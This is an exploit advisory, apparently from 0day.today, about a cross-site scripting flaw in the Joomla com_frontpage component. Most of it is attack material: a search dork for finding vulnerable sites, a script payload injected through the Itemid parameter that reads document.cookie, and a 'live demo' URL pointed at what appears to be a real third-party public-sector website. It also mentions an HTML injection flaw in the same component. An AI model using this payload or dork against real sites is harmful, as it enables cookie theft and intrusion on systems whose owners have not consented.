Joomla Component com_frontpage Persistent XSS Vulnerability

===========================================================
Joomla Component com_frontpage Persistent XSS Vulnerability
===========================================================


[+]Title                Joomla   Component  (com_frontpage)  Persistent XSS Vulnerability
[+]Tested on     Win Xp Sp 2/3
---------------------------------------------------------------------------


[+] Dork: inurl:"com_frontpage"

==========================================


[+].  XSS Vulnerability
=+=+=+=+=+=+=+=+=+

[P0C]:  http://127.0.0.1/path/index.php?option=com_frontpage&Itemid= [XSS] 


[XSS]: "><script>alert(document.cookie)</script>


[D3m0]:  http://127.0.0.1/path/index.php?option=com_frontpage&Itemid="><script>alert(document.cookie)</script>


[L!v3 D3m0]: http://eoepcanamero.juntaextremadura.net/index.php?option=com_frontpage&Itemid=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


This component is also vulnerable to HTML Injection,but its same and i didnt have time to write the exploit for it :P



#  0day.today [2018-03-14]  #